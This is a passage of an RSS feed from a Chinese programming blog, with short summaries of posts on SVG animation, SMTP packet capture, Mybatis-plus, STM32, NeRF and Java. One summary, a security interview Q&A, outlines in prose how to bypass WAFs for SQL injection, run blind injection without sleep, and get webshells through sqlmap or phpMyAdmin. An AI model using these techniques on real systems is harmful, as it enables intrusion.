keyTimes：是一个以分号分割的时间值列表，用于控制动画的执行步骤。每个值与values中的值一一对应，定义了values中的值在动画中执行的时机，keyTimes中每个值都是指定在[0-1]之间的浮点数，表示动画的完成时间。例如：`keyTimes=&#34;0;0.25;0.5;0.75;1&#34; values=&#34;10;60;110;60;10&#34;` - from：定义被修改的属性的初始值 - to：定义被修改属性的结束值 - 其他常用属性 - attributeName{% inlineimage https://fastly.jsdelivr.net/gh/hfg-gmuend/openmoji/color/svg/1F383.svg %}：定义在动画中，父元素需要被改变的属性名 - accumulate：控制是否累加 - 综合运用 &amp;lt;!-- 实现一个闪烁的定位图标 --&amp;gt; &amp;lt;svg width=&#34;50&#34; height=&#34;50&#34;&amp;gt; &amp;lt;path d=&#34;M5 20 C5 0 35 0 35 20 Q35 25 20 50 Q5 25 5 20&#34;</description>
    </item>
    <item>
      <title>smtp 抓包</title>
      <link>https://bchobby.github.io/posts/4607ae3fe6bf69d5223772121a399f5b/</link>
      <pubDate>Sun, 19 Mar 2023 16:39:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4607ae3fe6bf69d5223772121a399f5b/</guid>
      <description>1、安装tcpdump&#xA;yum install -y tcpdump&#xA;2、安装wireshark,直接到官网下载即可，开源免费 Wireshark · Go Deep&#xA;3、获取 qq 邮箱的证书，先保存到本地&#xA;4、使用openssl转换为pem格式（因为curl仅支持pem格式）&#xA;openssl x509 -in GlobalSign\ Root\ CA.crt -out qqmail.pem -outform PEM&#xA;5、使用curl触发smtp邮件请求(注意证书路径、发送端、接收端、用户名和口令等参数)&#xA;curl --verbose -s --url &#39;smtps://smtp.qq.com:465&#39; --ssl-reqd --cacert /root/qqmail.pem --mail-from &#39;xxxxxx@qq.com&#39; --mail-rcpt &#39;xxxxxx@163.com&#39; --upload-file /root/email.txt --user &#39;xxxxxx@qq.com:xxxpasswordxxxx&#39;&#xA;6、指定网卡和地址抓包（此处以qq邮箱为例）&#xA;tcpdump host 120.241.186.196 -i ens33 -w qqmail01.cap&#xA;7、将生成的文件qqmail01.cap用wireshark打开，使用wireshark进行报文分析</description>
    </item>
    <item>
      <title>Mybatis-plus 代码生成器（版本：3.5.1）</title>
      <link>https://bchobby.github.io/posts/d14d9300fd783fe1582662fc635136e8/</link>
      <pubDate>Sun, 19 Mar 2023 14:39:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d14d9300fd783fe1582662fc635136e8/</guid>
      <description>Mybatis-plus代码生成器 1. 引入依赖 &amp;lt;!-- mysql连接 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-j&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- mybatis-plus依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- mybatis-plus代码生成 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-generator&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 以上两个依赖版本号要一致 --&amp;gt; &amp;lt;!-- MyBatis-Plus模板引擎 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.velocity&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;velocity&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2. 修改application.yml配置文件 # 配置数据源 spring: datasource: driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://localhost:3306/db1?useSSL=false&amp;amp;&amp;amp;characterEncoding=utf-8&amp;amp;&amp;amp;serverTimezone=Asia/Shanghai hikari: username: root password: 1234 # mybatis-plus的配置 mybatis-plus: mapper-locations: classpath*:mapper/*Mapper.xml configuration: # 打开mybatis运行sql的日志 log-impl: org.apache.ibatis.logging.stdout.StdOutImpl # configuration: # 关闭打印sql查询数据 # log-impl: org.</description>
    </item>
    <item>
      <title>【vscode】基于vscode配置prettier格式化工具，用于格式化React代码配置</title>
      <link>https://bchobby.github.io/posts/ec14f9ca1a23437cad841951609a658f/</link>
      <pubDate>Sun, 19 Mar 2023 14:35:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec14f9ca1a23437cad841951609a658f/</guid>
      <description>vscode格式化配置 目标任务: 基于vscode配置格式化工具，提高开发效率&#xA;1. 安装 Prettier -Code formatter ①打开vscode，如果没有安装prettier插件，请先安装，安装方法是点击“Extension”图标，然后搜索 “prettier”，找到官方插件并安装&#xA;② 按下Ctrl+Shift+P，查找settings&#xA;③点击右上角【打开设置】图标&#xA;2.修改配置文件 setting.json ④ 复制下面代码修改配置文件 setting.json （注意下面是个人所有的vs code配置）&#xA;{ &#34;git.enableSmartCommit&#34;: true, // 修改注释颜色 &#34;editor.tokenColorCustomizations&#34;: { &#34;comments&#34;: { &#34;fontStyle&#34;: &#34;bold&#34;, &#34;foreground&#34;: &#34;#82e0aa&#34; } }, // 配置文件类型识别 &#34;files.associations&#34;: { &#34;*.js&#34;: &#34;javascript&#34;, &#34;*.json&#34;: &#34;jsonc&#34;, &#34;*.cjson&#34;: &#34;jsonc&#34;, &#34;*.wxss&#34;: &#34;css&#34;, &#34;*.wxs&#34;: &#34;javascript&#34; }, &#34;extensions.ignoreRecommendations&#34;: false, &#34;files.exclude&#34;: { &#34;**/.DS_Store&#34;: true, &#34;**/.git&#34;: true, &#34;**/.hg&#34;: true, &#34;**/.svn&#34;: true, &#34;**/CVS&#34;: true, &#34;**/node_modules&#34;: false, &#34;**/tmp&#34;: true }, // &#34;</description>
    </item>
    <item>
      <title>8 位同学按照成 绩由高到低排序，输出成绩第二高的同学的信息</title>
      <link>https://bchobby.github.io/posts/545f1cc6c1b5853c92255d4948a5bf3c/</link>
      <pubDate>Sun, 19 Mar 2023 14:14:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/545f1cc6c1b5853c92255d4948a5bf3c/</guid>
      <description>1.（20 分）有 8 个学生，有如下信息：名字，年龄，成绩。请从键盘输入 8 位&#xA;同学的信息，存入文件 cs.txt，再从文件中读取出数据，并对 8 位同学按照成&#xA;绩由高到低排序，输出成绩第二高的同学的信息。&#xA;2.代码&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include&amp;lt;Windows.h&amp;gt; #include&amp;lt;iostream&amp;gt; using namespace std; typedef struct student//typedef { char name[20];//char数组 char age[10];//char数组 int score; struct student *next;//链表 }student; void getSecond(student *s[],int sn);//结构体数组 void sort(student *s[],int sn); int main() { //8个学生 申请空间存放 int flag = 0; int sn = 8;//读取前面十个学生的信息 student* s[8]; for(;flag&amp;lt;sn;flag++) { s[flag] = (student *) malloc(sizeof(student)); } //打开文件 FILE* fd; if((fd = fopen(&#34;</description>
    </item>
    <item>
      <title>GraphViz‘s executables not found 简化版解决方案</title>
      <link>https://bchobby.github.io/posts/3996390e0200cae43452456bdd634ed9/</link>
      <pubDate>Sun, 19 Mar 2023 11:58:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3996390e0200cae43452456bdd634ed9/</guid>
      <description>机器学习中，提示 GraphViz找不到&#xA;python 代码中，提示GraphViz找不到&#xA;python中，提示GraphViz&#39;s executables not found&#xA;人工智能学习决策树时，遇到 GraphViz&#39;s executables not found&#xA;———————————————————————————————————————————&#xA;链接：百度云盘提取链接&#xA;提取码：kai9&#xA;下载这个安装包就完事了，很小，哪怕是百度云盘那个网速，也一会儿就好了。&#xA;使用，下载好以后，直接点击安装，然后放在默认路径下。&#xA;然后，&#xA;如果你是用的 Jupyter Notebook，安装好以后，删掉已经生成的.jpg，就下面这个&#xA;然后关闭Jupyter的浏览器页面和后台启动的程序，就&#xA;是下面这个。然后重新点击这个启动，打开notebook浏览器页面，挨个运行一遍就好了。&#xA;如果你用的PyCharm ，那就是直接重启PyCharm。&#xA;除此以外，如果你只是想要这个决策树生成图形，可以只放下面这段代码，它可以直接给你输出图形，&#xA;# 可直接输出图形 fn=[&#39;sepal length (cm)&#39;,&#39;sepal width (cm)&#39;,&#39;petal length (cm)&#39;,&#39;petal width (cm)&#39;] cn=[&#39;setosa&#39;, &#39;versicolor&#39;, &#39;virginica&#39;] fig, axes = plt.subplots(nrows = 1,ncols = 1,figsize = (2,2), dpi=300) tree.plot_tree(tree_model, rounded=True, feature_names = fn, class_names=cn, filled = True) plt.show() 图形如下，很鲜艳</description>
    </item>
    <item>
      <title>报数问题复试</title>
      <link>https://bchobby.github.io/posts/e196f0e735bd3eabd3ccf6a963b3c1a0/</link>
      <pubDate>Sun, 19 Mar 2023 11:04:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e196f0e735bd3eabd3ccf6a963b3c1a0/</guid>
      <description>(显示n传参数，没有获得到值很奇怪)&#xA;1.代码&#xA;#include &amp;lt;stdio.h&amp;gt; #define MAXN 20 void CountOff( int n, int m, int out[] ); int main() { int out[MAXN]; int n=0; int m=0; int i; scanf(&#34;%d%d&#34;,&amp;amp;n,&amp;amp;m); CountOff( n, m, out ); for ( i = 0; i &amp;lt; n; i++ ) printf(&#34;%d &#34;, out[i]); printf(&#34;\n&#34;); return 0; } void CountOff( int n, int m, int out[] ) { int i; int count=0; int Out=0; int a[n]; for(i=0;i&amp;lt;n;i++) a[i]=1; while(Out!</description>
    </item>
    <item>
      <title>Android 9.0系统源码_SystemUI（七）自定义状态栏和导航栏视图</title>
      <link>https://bchobby.github.io/posts/8a3101fac1d233d5a62e0be2caaddc60/</link>
      <pubDate>Sat, 18 Mar 2023 21:45:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a3101fac1d233d5a62e0be2caaddc60/</guid>
      <description>前言 前面几篇文章我们具体分析了Android9.0系统原生的SystemUI模块各个组件的启动流程和视图构建流程，特别是StatusBar；本篇文章我们将会在StatusBar的基础上构建自定义状态栏和导航栏视图。&#xA;一、状态栏组件的启动流程 1、首先再来梳理一下SystemUI组件的启动流程，SystemUIApplication启动SystemUI组件的关键代码如下：&#xA;framework/base/packages/SystemUI/src/com/android/systemui/SystemUIApplication.java&#xA;public class SystemUIApplication extends Application implements SysUiServiceProvider { public void startServicesIfNeeded() { String[] names = getResources().getStringArray(R.array.config_systemUIServiceComponents); startServicesIfNeeded(names); } private void startServicesIfNeeded(String[] services) { mServices = new SystemUI[services.length]; final int N = services.length; for (int i = 0; i &amp;lt; N; i++) { String clsName = services[i];//具体系统组件类的完整路径 Class cls = Class.forName(clsName); mServices[i] = (SystemUI) cls.newInstance();//通过反射创建实例对象 mServices[i].start(); //调用start()启动 } } } frameworks/base/packages/SystemUI/res/values/config.xml&#xA;&amp;lt;string-array name=&#34;config_systemUIServiceComponents&#34; translatable=&#34;false&#34;&amp;gt; &amp;lt;item&amp;gt;com.android.systemui.Dependency&amp;lt;/item&amp;gt; &amp;lt;item&amp;gt;com.</description>
    </item>
    <item>
      <title>clion&#43;cubemx开发stm32整体流程</title>
      <link>https://bchobby.github.io/posts/38f237b69fc8ebb21a6c24df71694104/</link>
      <pubDate>Sat, 18 Mar 2023 19:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38f237b69fc8ebb21a6c24df71694104/</guid>
      <description>clion+cubemx开发stm32整体流程 本篇文章主要讲一下我在使用clion和cubemx开发stm32的一些准备工作的总结，本人也刚开始尝试此方法。目前感觉良好。相比于keil，clion在代码编写方面确实方便快捷很多，但在编译和烧录过程需要联合多种工具才能成功。各有优劣。写这篇文章主要是方便以后遗忘后查阅，同时记录一些有价值的学习网址。&#xA;整体流程简介 使用cubemx生成底层驱动代码利用clion打开对应文件新增自己的源文件和头文件【最好在Core目录下添加，如果添加在其他路径需要在CMakeLists.txt里增加相应配置，该博客有讲如何配置代码。但我的做法是在下图所示处建立新的文件，但是需要手动刷新一下，即右键Core找到Reload CMake Project点击即可。该方式在cubemx重新更新底层驱动配置后不会报错。到这里我们就可以着手写自己的程序了】&#xA;如果有关于环境配置和软件安装问题，可以参考下面的文章及视频 知乎稚晖君软件安装及环境配置教程&#xA;B站up主教程合集&#xA;部分工具作用简介 对于这些工具的作用及工具之间的关系在上文的B站视频里有详细介绍&#xA;MinGW&#xA;OpenOCD&#xA;arm-none-eabi-gcc&#xA;USB drive tool&#xA;zadig&#xA;jlink&#xA;cubemx&#xA;clion&#xA;更改开发环境思考 对于每一种新的开发模式总是能激发我强烈的兴趣，但不确定花一定的时间去配置和熟悉一个陌生的开发环境是否值得。目前来说clion的强大功能确实比keil带来了更多便利。</description>
    </item>
    <item>
      <title>BARF: Bundle-Adjusting Neural Radiance Fields论文阅读</title>
      <link>https://bchobby.github.io/posts/b6756637afc26c4a1bcbe8efae3f8270/</link>
      <pubDate>Sat, 18 Mar 2023 18:28:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6756637afc26c4a1bcbe8efae3f8270/</guid>
      <description>摘要 神经辐射场 (NeRF)可以合成真实世界场景的全新视角的照片，其性能优异，因此在计算机视觉领域引起较大的兴趣。NeRF的一个限制条件是需要准确相机位姿。本文提出了集束调整神经辐射场 (BARF) ，可以用不完美的（甚至不知道）相机位姿进行训练，同时学习三维表示和配准相机帧。本文建立了与经典图像对齐的理论联系，并指出由粗到精配准同样适用于NeRF。并且发现简单地使用位置编码对合成物体（指的应该是不同于原始数据，由算法生成的数据）的校准有负面影响。在人造数据和真实数据上的实验表明，BARF可以有效地神经场景表征并解决相机位姿未对准问题。这使得在未知相机位姿的情况下视角合成和视频序列定位成为可能，为视觉定位系统和在三维重建领域的潜在应用打开了大门。&#xA;1. 引用 重建物体和配准相机属于先有鸡先有蛋的问题，重建需要精确相机位姿，相机配准需要精确重建信息。sfm或slam的常用方法是通过局部配准，然后在结构和摄像机上进行全局几何捆绑调整(Bundle Adjustment)来解决这个问题。但以来局部配准，而且容易陷入次优解，而且输出的点云不利于下游任务。&#xA;NeRF等重建方法对相机位姿要求严苛，最简单的想法是通过back-propagation对相机位姿也同时优化，但是在实践中发现这对初始化很敏感，而且容易收敛到次优解，降低重建质量。注意，positional encoding益于重建，但同时导致次优解。&#xA;图1：训练NeRF要求所有图片都有精确的相机位姿。我们提出了BARF，对配准和重建进行联合优化，从而实现从不完善的（或未知）相机位姿学习三维场景表征。 本文处理从不完善的相机位姿训练NeRF表征问题，也就是把重建三维场景和对准相机位姿联合起来（图1）。我们从经典图像对准方法中获得灵感并建议了理论连接，证明了由粗到精配准对NeRF也是极其重要的。我们特别指出，输入三维点的位置编码扮演重要角色，它使系统高频函数的拟合成为可能，位置编码更易受次优对准结果的影响。为了这个目地，我们提出了集束调整NeRF (BARF)，使用简单有效的策略在基于坐标和场景表征上由粗到精地对准。可以认为BARF是一类光度BA，只是目替换成了人造视角。但是，与传统BA不同，BARF可以从零开始学习场景表征（也就是说可以随机初始化网络权重），解除局部匹配子过程的依赖并允许更为通用的应用。&#xA;主要贡献&#xA;建立了经典图像对齐到联合配准和用神经辐射场重建的理论联系；表明positional encoding对配准的影响，提出coarse-to-fine配准策略；BARF可以从不完美相机位姿中重建场景三维表示，使得新视角合成和视频序列定位能从位未知视角中获得。 2. 相关工作 2.1. Structure from motion (SfM) and SLAM 给定一组图片，SfM和SLAM可以恢复三维结构和传感器位姿。其方法可以分为直接法和特征点法。目前特征点法已经取得了巨大的成功，但在无纹理和重复纹理区域其效果并不好。所以一些人正在使用神经网络来直接从数据中学习特征。直接法并不依赖于特征，它的每个像素光度语差有贡献。这使得在特征较为稀疏的情况下更为鲁棒，而且了更容易集成进深度学习框架。BARF就是一种直接法。但BARF并没有使用显示的几何信息（如点云）来表征三维场景，而是用神经网络把场景编码为坐标表征。&#xA;2.2. 视角合成 给定一组已知位姿的图片，视角合成技术可以模拟出一个全新视角的图片，该技术与三维重建技术有紧密有联系。&#xA;2.3. Neural Radiance Fields (NeRF) 由于简单和优异和性能，目前NeRF获得广泛的关注，而且它也被扩展到了许多其它方向。最近还有人使用大量数据预训练多层感知机，使其能够从单张图片推理辐射场。但是这些方法都有一个明显的缺点：它们需要图片的位姿是已知的。BARF恰恰可以规避这一需求，BARF使用了由粗到精的集束调整技术，可以用不完善的相机位姿甚至位姿的视频序列来恢复辐射场。&#xA;3. 方法 我们从二维情况开始，以经典的图片对准为便展开本文。然后讨论相同的概念对三维情况如何适用，它们如何提示我们提出BARF。&#xA;3.1. 平面图片对齐(2D) 2D图像对齐可以归纳成一个问题就是学习一个变换使得photometric error最小&#xA;W就是warp function从2维映射到2维，由p维向量作为权重参数化，由于是个非线性问题，可以用梯度下降法，其中&#xA;如果用随机梯度下降法A就是一个标量学习率&#xA;而J可以表示为&#xA;其中是warp雅可比矩阵限制对预定义warp的像素位移。&#xA;基于梯度方法的配准核心是图像梯度建模了一个局部的逐像素的表面和空间位移之间的线性关系，经常由有限差分来估计。显然的是如果每像素的预测之间有关系（即信号是光滑的），那么的估计会更有效。&#xA;因此，通过在配准的早期阶段模糊图像，有效地扩大吸引区域和smoothening the alignment landscape，实践了从粗到细的策略。&#xA;图片作为神经网络 另一种方式是在解决p的时候用神经网络学一个图像的表示，神经网络参数是&#xA;或者对每个图分别学一个p，回顾一下，p是warp function的P维向量参数&#xA;神经网络使得梯度不再是数值估计而是网络参数对位置的偏导，不再依赖启发式的对图像的模糊，这使得能泛化到三维情况。&#xA;3.2. 神经辐射场(3D) 为了保持一致性， 三维情况下x表示三维坐标，W表示nerf中的网络。NeRF实际上是用MLP 把三维坐标映射到四维输出，记为&#xA;是网络参数。实际上还有d，这里简化处理。&#xA;设一个像素点的坐标是u，那么齐次坐标是，根据多视图几何理论，在深度的坐标就是，那么渲染公式可以写为&#xA;由于是N个采样点，最终得到的是一个三通道颜色，可以直接改写为&#xA;一个相机的参数，而相机坐标系下的x也可以通过W映射变到世界坐标系下，那么颜色可以写成关于像素坐标u和相机位姿p的函数&#xA;这个网络参数就是学习的神经辐射场的三维表示&#xA;如果有M张图，那么目标就是优化NeRF学习三维表示，并且优化相机位姿</description>
    </item>
    <item>
      <title>06发布文章</title>
      <link>https://bchobby.github.io/posts/b0cbd9b6b0b1bf793ca6f0bfe3b8520a/</link>
      <pubDate>Sat, 18 Mar 2023 18:19:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0cbd9b6b0b1bf793ca6f0bfe3b8520a/</guid>
      <description>01 发布文章-页面组件和路由 目标 准备发表文章的页面组件并配置路由显示&#xA;讲解 在 src/views/article/artList.vue组件, ==直接复制标签==&#xA;:inline=&#34;true&#34; 不加： 是字符串， 加： 是布尔值&#xA;条件查询用【行内表单】去实现 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-card class=&#34;box-card&#34;&amp;gt; &amp;lt;div slot=&#34;header&#34; class=&#34;clearfix&#34;&amp;gt; &amp;lt;span&amp;gt;文章列表&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 搜索区域 --&amp;gt; &amp;lt;div class=&#34;search-box&#34;&amp;gt; &amp;lt;el-form :inline=&#34;true&#34; :model=&#34;q&#34;&amp;gt; &amp;lt;el-form-item label=&#34;文章分类&#34;&amp;gt; &amp;lt;el-select v-model=&#34;q.cate_id&#34; placeholder=&#34;请选择分类&#34; size=&#34;small&#34;&amp;gt; &amp;lt;el-option label=&#34;区域一&#34; value=&#34;shanghai&#34;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;el-option label=&#34;区域二&#34; value=&#34;beijing&#34;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;发布状态&#34; style=&#34;margin-left: 15px;&#34;&amp;gt; &amp;lt;el-select v-model=&#34;q.state&#34; placeholder=&#34;请选择状态&#34; size=&#34;small&#34;&amp;gt; &amp;lt;el-option label=&#34;已发布&#34; value=&#34;已发布&#34;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;el-option label=&#34;草稿&#34; value=&#34;草稿&#34;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item&amp;gt; &amp;lt;el-button type=&#34;primary&#34; size=&#34;small&#34;&amp;gt;筛选&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;info&#34; size=&#34;small&#34;&amp;gt;重置&amp;lt;/el-button&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>csdn博客转markdown</title>
      <link>https://bchobby.github.io/posts/1736cc50f79470ea1d69a2ccf40164f1/</link>
      <pubDate>Sat, 18 Mar 2023 15:21:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1736cc50f79470ea1d69a2ccf40164f1/</guid>
      <description>近期完成了csdn上的部分博客转到个人博客上，csdn使用的传统编辑器，个人博客使用的markdown，所以下面分享一下两者之间转化。&#xA;1. 安装nodejs和npm，这两步网上教程很多，可以参考下网上 2.安装clean-mark npm install clean-mark --global 该工具可以将我们的博客做一个初步的转markdown,用法如下&#xA;clean-mark &#34;https://blog.csdn.net/yyy/article/details/xxx&#34; 双引号内部为某篇具体需要转换的博文链接，转换成功后在当前目录下会出现xxx.md&#xA;3.对md文件做进一步的修正 使用clean-mark工具转换的md目前有两个问题&#xA;图片，使用的图片链接会是csdn服务器上的图片，并带有水印，需要将去除水印的图片下载到本地，并将md文件中的链接替换为本地图片链接乱码，在一些未识别编程语言的代码片中，中文会出现乱码，形如&amp;amp;#x53D8，这是XML字符实体的一种表示形式，&amp;amp;#x表示十六进制&#xA;由于需要修正的md文件很多，一个个处理很不方便，所以将需要转换的博客通过第二步转换后同一在一个目录，然后编写程序，只要扫描到该目录下的md文件，就进行修正 import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; public class CsdnHandle { private final String fileRoot = &#34;H:\\CSDN&#34;; //需修正的md文件夹路径 private final String artImgFilePath = &#34;file://D:/Program Files/Gridea/post-images/&#34;; //md文件中本地图片根路径 public static void main(String[] args) { CsdnHandle handle = new CsdnHandle(); handle.process(); } public void process() { String imgRoot = fileRoot+&#34;</description>
    </item>
    <item>
      <title>网络空间安全面试题目及答案(简版)</title>
      <link>https://bchobby.github.io/posts/1ea038c235702b8611146df8bc0a93cb/</link>
      <pubDate>Sat, 18 Mar 2023 15:03:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ea038c235702b8611146df8bc0a93cb/</guid>
      <description>获取目标站点的绝对路径 如果是iis系统,尝试对参数进行恶意传值,使其出现报错页面对目标网站进行js代码审计,查看是否存在信息泄露出站点的绝对路径使用字典猜解目标站点的绝对路径如果目标是thinkphp框架,尝试访问无效的路径,或者对参数进行而已传值使其报错phpinfo页面泄露站点的绝对路径 怎样进行信息收集 获取目标的真实ip,如果有cdn就绕一下通过真实去进行半开放的端口扫描,获取目标服务通过审计js代码 + jsfinder工具查看是否存在接口泄露可以使我们进一步的利用对站点进行指纹识别,查看cms历史漏洞通过乌云查找目标的历史漏洞,查看脆弱点通过google黑语法搜索目标站点的敏感关键词 如 登录 后台 学号 上传通过目录扫描工具扫描目标站点文件,查看是否存在未授权访问文件或者更多的功能点通过潮汐 在线子域名 layer子域名挖掘机进行子域名收集通过nmap goby对c端进行信息收集 绕cdn 通过境外ip去平目标系统主动向我方的请求,如发邮件获取多个子域名ip对比查看dns记录通过网络搜索引擎去搜索 只有一个登录页面如何去测 测试逻辑漏洞点sql注入漏洞js代码是否存在js接口泄露目录扫描查看漏洞库是否存在历史漏洞提取页面关键词去黑暗引擎搜索 网站有验证码挖漏洞？ 验证码无效验证码由客户端生成 验证验证码有回显验证码固定验证码可以爆破验证码可猜解可绕过短信轰炸任意用户注册任意用户密码重置 load data local读入表条件 SHOW VARIABLES LIKE &#34;secure_file_priv&#34;; null 表示禁止如果value值有文件夹目录,则表示只允许改目录下文件如果为空则,表表示不限制目录 ban了sleep怎么实现时间盲注 sleep()benchmark()重复执行某表达式笛卡尔积get_lock 加锁rlike regexp 正则匹配 sqlmap的os shell原理 对于mysql数据库来说,–os-shell的本质就是写入两个shell文件,其中的一个可以让我们用来执行命令,另外一个,如果在网站访问的话可以让我们上传文件.&#xA;导入导出的权限是secure_file_priv参数来控制的,当这个参数的后面为null的时候,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,secure_file_priv参数的默认值为null已知目标站点的绝对路径&#xA;已知目标站点的绝对路径已知目标站点的脚本语言当前数据库权限必须是dba sa权限网站不查杀木马文件 SQL注入绕waf的方式 白盒&#xA;根据waf的固定规则去寻找有没有漏网之鱼.&#xA;黑盒&#xA;架构层绕waf&#xA;用户本身是进入waf后访问web页面的,只要我们找到web的真实ip,就可以绕过waf在同网段内,页面与页面之间,服务器与服务器之间,通过waf的防护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行sql注入. 协议层面绕过waf&#xA;基于协议层,有的waf只过滤get请求,而对post请求没有做别的限制,因此,可以将get类型转换成post请求&#xA;文件格式,页面只对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们可以将Content-Tyoe格式修改为multipart/form-data,即可绕过&#xA;参数污染 有的waf仅对部分内容进行过滤如&#xA;规则层面绕过&#xA;首先使用比较特殊的方法进行绕过&#xA;常见规则&#xA;缓冲区溢出&#xA;mysql特性绕过&#xA;黑魔法&#xA;内联注释&#xA;phpmyadmin如何拿shell? 数据库文件导入导出&#xA;条件&#xA;数据库root权限数据库字段secure_file_priv没有具体的值获取网站的绝对路径 数据库全局日志写入&#xA;条件&#xA;数据库root权限获取网站的绝对路径 数据库慢查询日志写入&#xA;慢日志查询 记录所有执行时间超过字段long_query_time规定时间的所有查询或者不使用索引的查询,默认情况下慢查询日志为关闭,long_query_time值为10秒</description>
    </item>
    <item>
      <title>如何复制文件到docker容器中（实操）</title>
      <link>https://bchobby.github.io/posts/f99b6fab2e25b0b4dbcc018e7da07083/</link>
      <pubDate>Sat, 18 Mar 2023 10:30:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99b6fab2e25b0b4dbcc018e7da07083/</guid>
      <description>步骤一：查看docker镜像&#xA;命令 docker images 锁定容器tomcat&#xA;[root@ecs- ~]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE hub.cloudx5.com/justep/gateway-init 1.0 3d26e9ba2df0 2 years ago 92.1MB hub.cloudx5.com/justep/dbrest 1.0.1 780b3ae16949 2 years ago 106MB hub.cloudx5.com/justep/adminer 1.0 a16d1fd76db4 2 years ago 145MB certbot/certbot latest 994e18b9d74d 2 years ago 92.2MB &amp;lt;none&amp;gt; &amp;lt;none&amp;gt; c99efc745e9b 3 years ago 92.1MB hub.cloudx5.com/justep/database-init 1.0 2fe4f106e3ac 3 years ago 141MB &amp;lt;none&amp;gt; &amp;lt;none&amp;gt; 886d8c169d03 3 years ago 145MB hub.cloudx5.com/justep/kong 0.11.2 6c215f862793 3 years ago 147MB hub.</description>
    </item>
    <item>
      <title>Java--instanceof和类型转换</title>
      <link>https://bchobby.github.io/posts/ba855059687a482284deeb496b14dce3/</link>
      <pubDate>Sat, 18 Mar 2023 10:17:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba855059687a482284deeb496b14dce3/</guid>
      <description>instanceof 判断一个对象是什么类型，通过instanceof关键字来判断。&#xA;instanceof关键字可以判断两个类之间是否存在联系（父子关系）。&#xA;类型转换 类型之间的转换：基本类型转换 高---------→低 父---------→子&#xA;现有两个类，一个为Person类，一个为Student类。&#xA;Student类继承Person类&#xA;子：Student 父：Person&#xA;向上转型 Person s1 = new Student();//Student类转为Person类型 创建了一个Person类型的引用，指向了Student的实例。&#xA;类似于将Student实例赋给了Person类型的引用。&#xA;将这个对象转换为了Student类型，现在就可以使用Student类型的方法了！&#xA;子转父 低转高（向上转型）&#xA;子类转换为父类，可能会丢失自己的本来的一些方法。&#xA;向下转型 Person p1 = new Person(); Student s1 = (Student)p1; 父转子 高转低（向下转型）需要强制转换&#xA;类型转换总结 父类引用指向子类的对象&#xA;把子类转换为父类，向上转型，不需要强制转换&#xA;把父类转换为子类，向下转型，需要强制转换，子类可能丢失自己的本来的一些方法&#xA;方便方法的调用，减少重复的代码！简洁&#xA;抽象：封装，继承，多态</description>
    </item>
    <item>
      <title>SQL语句中删除表数据drop、truncate和delete的用法</title>
      <link>https://bchobby.github.io/posts/21ac797f69441c1abbc37e8eba1f4037/</link>
      <pubDate>Sat, 18 Mar 2023 08:37:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21ac797f69441c1abbc37e8eba1f4037/</guid>
